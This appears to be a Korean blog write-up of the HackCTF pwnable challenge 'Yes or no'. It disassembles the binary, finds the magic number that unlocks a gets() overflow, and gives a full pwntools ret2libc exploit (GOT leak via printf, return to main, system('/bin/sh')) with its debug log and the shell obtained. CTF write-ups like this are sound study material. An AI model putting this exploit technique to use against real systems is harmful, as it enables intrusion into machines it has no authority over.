본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] Yes or no

시작

안녕하세요 :D

어제 쓰다 말았던 HackCTF Write up이에요.

150점 짜리 문제 중 마지막 10번 문제, Yes or no!! 시작해봐요.

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# ./yes_or_no
Show me your number~!
0
Sorry. You can't come with us

숫자 하나를 달라고 해서 주니깐

함께 갈 수 없다며 매정하게 종료하네요.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NX만 켜져있습니다. 쉘코드는 못쓰겠네요.

gdb-peda$ pd main
Dump of assembler code for function main:
   0x00000000004006c7 <+0>:     push   rbp
   0x00000000004006c8 <+1>:     mov    rbp,rsp
   0x00000000004006cb <+4>:     sub    rsp,0x20
   0x00000000004006cf <+8>:     mov    rax,QWORD PTR [rip+0x20098a]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x00000000004006d6 <+15>:    mov    ecx,0x0
   0x00000000004006db <+20>:    mov    edx,0x2
   0x00000000004006e0 <+25>:    mov    esi,0x0
   0x00000000004006e5 <+30>:    mov    rdi,rax
   0x00000000004006e8 <+33>:    call   0x4005c0 <setvbuf@plt>
   0x00000000004006ed <+38>:    mov    DWORD PTR [rbp-0x4],0x5
   0x00000000004006f4 <+45>:    lea    rdi,[rip+0x1ad]        # 0x4008a8
   0x00000000004006fb <+52>:    call   0x400580 <puts@plt>
   0x0000000000400700 <+57>:    mov    rdx,QWORD PTR [rip+0x200969]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400707 <+64>:    lea    rax,[rbp-0x12]
   0x000000000040070b <+68>:    mov    esi,0xa
   0x0000000000400710 <+73>:    mov    rdi,rax
   0x0000000000400713 <+76>:    call   0x4005a0 <fgets@plt>
   0x0000000000400718 <+81>:    lea    rax,[rbp-0x12]
   0x000000000040071c <+85>:    mov    rdi,rax
   0x000000000040071f <+88>:    mov    eax,0x0
   0x0000000000400724 <+93>:    call   0x4005d0 <atoi@plt>
   0x0000000000400729 <+98>:    mov    DWORD PTR [rbp-0x8],eax
   0x000000000040072c <+101>:   mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040072f <+104>:   sub    eax,0xa
   0x0000000000400732 <+107>:   sar    eax,0x3
   0x0000000000400735 <+110>:   test   eax,eax
   0x0000000000400737 <+112>:   js     0x40074b <main+132>
   0x0000000000400739 <+114>:   mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040073c <+117>:   lea    edx,[rax+0x1]
   0x000000000040073f <+120>:   mov    DWORD PTR [rbp-0x4],edx
   0x0000000000400742 <+123>:   mov    edx,DWORD PTR [rbp-0x8]
   0x0000000000400745 <+126>:   sub    edx,eax
   0x0000000000400747 <+128>:   mov    eax,edx
   0x0000000000400749 <+130>:   jmp    0x400750 <main+137>
   0x000000000040074b <+132>:   mov    eax,0x0
   0x0000000000400750 <+137>:   cmp    eax,DWORD PTR [rbp-0x8]
   0x0000000000400753 <+140>:   jne    0x400766 <main+159>
   0x0000000000400755 <+142>:   lea    rdi,[rip+0x162]        # 0x4008be
   0x000000000040075c <+149>:   call   0x400580 <puts@plt>
   0x0000000000400761 <+154>:   jmp    0x40080a <main+323>
   0x0000000000400766 <+159>:   add    DWORD PTR [rbp-0x4],0x1
   0x000000000040076a <+163>:   mov    eax,0x4b4
   0x000000000040076f <+168>:   cdq
   0x0000000000400770 <+169>:   idiv   DWORD PTR [rbp-0x4]
   0x0000000000400773 <+172>:   mov    ecx,eax
   0x0000000000400775 <+174>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400778 <+177>:   lea    edx,[rax+0x1]
   0x000000000040077b <+180>:   mov    DWORD PTR [rbp-0x4],edx
   0x000000000040077e <+183>:   mov    esi,ecx
   0x0000000000400780 <+185>:   imul   esi,eax
   0x0000000000400783 <+188>:   add    DWORD PTR [rbp-0x4],0x1
   0x0000000000400787 <+192>:   mov    ecx,DWORD PTR [rbp-0x4]
   0x000000000040078a <+195>:   mov    edx,0x66666667
   0x000000000040078f <+200>:   mov    eax,ecx
   0x0000000000400791 <+202>:   imul   edx
   0x0000000000400793 <+204>:   sar    edx,0x3
   0x0000000000400796 <+207>:   mov    eax,ecx
   0x0000000000400798 <+209>:   sar    eax,0x1f
   0x000000000040079b <+212>:   sub    edx,eax
   0x000000000040079d <+214>:   mov    eax,edx
   0x000000000040079f <+216>:   shl    eax,0x2
   0x00000000004007a2 <+219>:   add    eax,edx
   0x00000000004007a4 <+221>:   shl    eax,0x2
   0x00000000004007a7 <+224>:   sub    ecx,eax
   0x00000000004007a9 <+226>:   mov    edx,ecx
   0x00000000004007ab <+228>:   lea    eax,[rdx+0x5]
   0x00000000004007ae <+231>:   mov    ecx,eax
   0x00000000004007b0 <+233>:   shl    esi,cl
   0x00000000004007b2 <+235>:   mov    eax,esi
   0x00000000004007b4 <+237>:   cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007b7 <+240>:   jne    0x4007d8 <main+273>
   0x00000000004007b9 <+242>:   lea    rdi,[rip+0x11c]        # 0x4008dc
   0x00000000004007c0 <+249>:   call   0x400580 <puts@plt>
   0x00000000004007c5 <+254>:   lea    rax,[rbp-0x12]
   0x00000000004007c9 <+258>:   mov    rdi,rax
   0x00000000004007cc <+261>:   mov    eax,0x0
   0x00000000004007d1 <+266>:   call   0x4005b0 <gets@plt>
   0x00000000004007d6 <+271>:   jmp    0x40080a <main+323>
   0x00000000004007d8 <+273>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004007db <+276>:   lea    edx,[rax-0x1]
   0x00000000004007de <+279>:   mov    DWORD PTR [rbp-0x4],edx
   0x00000000004007e1 <+282>:   cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007e4 <+285>:   jne    0x4007fe <main+311>
   0x00000000004007e6 <+287>:   lea    rdi,[rip+0x106]        # 0x4008f3
   0x00000000004007ed <+294>:   mov    eax,0x0
   0x00000000004007f2 <+299>:   call   0x400590 <printf@plt>
   0x00000000004007f7 <+304>:   mov    eax,0x0
   0x00000000004007fc <+309>:   jmp    0x40080f <main+328>
   0x00000000004007fe <+311>:   lea    rdi,[rip+0x103]        # 0x400908
   0x0000000000400805 <+318>:   call   0x400580 <puts@plt>
   0x000000000040080a <+323>:   mov    eax,0x0
   0x000000000040080f <+328>:   leave
   0x0000000000400810 <+329>:   ret
End of assembler dump.

main() 함수입니다.

첫 fgets()에선 BOF가 발생하지 않으니, main+266 부분의 gets()로 이동해야 할 것 같아요.

fgets() 함수에 1을 주고 분기점인 main+237 부분에서 레지스터를 확인해봅시다.

gdb-peda$ x/wx $rbp-0x8
0x7ffd1eb2b5f8: 0x00000001
gdb-peda$ x/wx $eax
0x960000:       Cannot access memory at address 0x960000

eax 레지스터는 0x960000, rbp-0x8 위치에는 0x1이 들어가네요.

조금 더 큰 수를 줘볼까요? 9000000을 입력해봅시다.

gdb-peda$ x/wx $rbp-0x8
0x7ffce3520558: 0x00895440
gdb-peda$ x/wx $eax
0x960000:       Cannot access memory at address 0x960000

rbp-0x8 값이 0x895440까지 올라왔네요!!

저 복잡한 어셈블리 연산은 머리아프니깐 브루트포싱으로 다 때려박아봤더니 ㅎㅎ..

9830400 값을 주면 딱 0x960000이 들어갑니다.

gdb-peda$ r
Starting program: /workspace/LCH_Server/HackCTF/10.Yes_or_No/yes_or_no
warning: Error disabling address space randomization: 명령을 허용하지 않음
Show me your number~!
9830400

.

.

gdb-peda$ x/wx $rbp-0x8
0x7ffc43fd26c8: 0x00960000
gdb-peda$ x/wx $eax
0x960000:       Cannot access memory at address 0x960000

이제 gets()를 사용할 수 있게 되었네요.

   0x00000000004007c5 <+254>:   lea    rax,[rbp-0x12]
   0x00000000004007c9 <+258>:   mov    rdi,rax
   0x00000000004007cc <+261>:   mov    eax,0x0
   0x00000000004007d1 <+266>:   call   0x4005b0 <gets@plt>
   0x00000000004007d6 <+271>:   jmp    0x40080a <main+323>

rbp-0x12 주소부터 버퍼가 시작되네요.

64bit니깐 16 + 8 + RET 구조가 되겠습니다.

그런데 쉘코드도 사용할 수 없고, 마땅히 leak된 주소가 없네요.

printf() 함수를 써서 got 하나를 leak 해옵시다.

그 후로 main()의 처음으로 돌아가서 다시 9830400을 주고, gets()를 불러서 RTL 써주면 될 것 같아요.

주어진 가젯은 다음과 같습니다.

root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# rp-lin-x64 -f ./yes_or_no -r 4 | grep "pop rdi"
0x00400883: pop rdi ; ret  ;  (1 found)
root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# rp-lin-x64 -f ./yes_or_no -r 4 | grep "pop rsi"
0x00400881: pop rsi ; pop r15 ; ret  ;  (1 found)

libc도 줬으니 offset은 쉽게 구할 수 있어요.

저는 printf() 함수로 atoi()의 got를 leak 후 main으로 돌아가 system(“/bin/sh”)를 부르는 시나리오를 짰습니다.

코드는 아래와 같아요.

from pwn import *

context.log_level = "debug"

#p = process("./yes_or_no")
p = remote("ctf.j0n9hyun.xyz", 3009)

payload = ""

pop_rdi = 0x400883
pop_rsi_r15 = 0x400881
printf_plt = 0x400590
atoi_got = 0x601040
main = 0x4006c7
system_offset = 0xe510
binsh_offset = 0x155ed7

p.recvuntil("number~!\n")
p.sendline("9830400")

p.recvuntil("me\n")

payload += "A" * 26
payload += p64(pop_rdi)
payload += p64(atoi_got)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(printf_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(main)

p.sendline(payload)

libc_atoi = p.recv(1024)
libc_atoi = libc_atoi[:6]
log.info("libc_atoi = 0x" + libc_atoi[::-1].encode("hex"))

libc_atoi = int(libc_atoi[::-1].encode("hex"), 16)
system = libc_atoi + system_offset
binsh = libc_atoi + binsh_offset

log.info("system_addr = " + hex(system))
log.info("binsh_addr = " + hex(binsh))

p.sendline("9830400")

p.recvuntil("me\n")

exploit = ""

exploit += "A" * 26
exploit += p64(pop_rdi)
exploit += p64(binsh)
exploit += p64(pop_rsi_r15)
exploit += p64(0)
exploit += p64(0)
exploit += p64(system)

p.sendline(exploit)

p.interactive()
root@goorm:/workspace/LCH_Server/HackCTF/10.Yes_or_No# python ex.py
[+] Opening connection to ctf.j0n9hyun.xyz on port 3009: Done
[DEBUG] Received 0x15 bytes:
    'Show me your number~!'
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Sent 0x8 bytes:
    '9830400\n'
[DEBUG] Received 0x16 bytes:
    "That's cool. Follow me"
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Sent 0x63 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 83 08  40 00 00 00  │AAAA│AAAA│AA··│@···│
    00000020  00 00 40 10  60 00 00 00  00 00 81 08  40 00 00 00  │··@·│`···│····│@···│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  00 00 90 05  40 00 00 00  00 00 83 08  40 00 00 00  │····│@···│····│@···│
    00000050  00 00 00 00  00 00 00 00  00 00 c7 06  40 00 00 00  │····│····│····│@···│
    00000060  00 00 0a                                            │···│
    00000063
[DEBUG] Received 0x6 bytes:
    00000000  80 ae f7 81  a8 7f                                  │····│··│
    00000006
[*] libc_atoi = 0x7fa881f7ae80
[*] system_addr = 0x7fa881f89390
[*] binsh_addr = 0x7fa8820d0d57
[DEBUG] Sent 0x8 bytes:
    '9830400\n'
[DEBUG] Received 0x16 bytes:
    'Show me your number~!\n'
[DEBUG] Received 0x17 bytes:
    "That's cool. Follow me\n"
[DEBUG] Sent 0x4b bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 83 08  40 00 00 00  │AAAA│AAAA│AA··│@···│
    00000020  00 00 57 0d  0d 82 a8 7f  00 00 81 08  40 00 00 00  │··W·│····│····│@···│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  00 00 90 93  f8 81 a8 7f  00 00 0a                  │····│····│···│
    0000004b
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0xa bytes:
    'flag\n'
    'main\n'
flag
main
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2c bytes:
    ///flag!!

Exploit!!

마무리

몇 달 전에 푼 CTF 문제에서 leak을 한 후 main으로 돌아가는 익스 코드를 깃헙에서 봐서, 유용하게 써먹었습니다.

이제 200점짜리 문제들로 가봐요!!

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2019.09.22
[HackCTF] 1996  (0) 2019.09.22
[HackCTF] Poet  (0) 2019.09.22
[HackCTF] RTL_World  (0) 2019.09.19
[HackCTF] 1 ~ 9번 문제  (1) 2019.09.18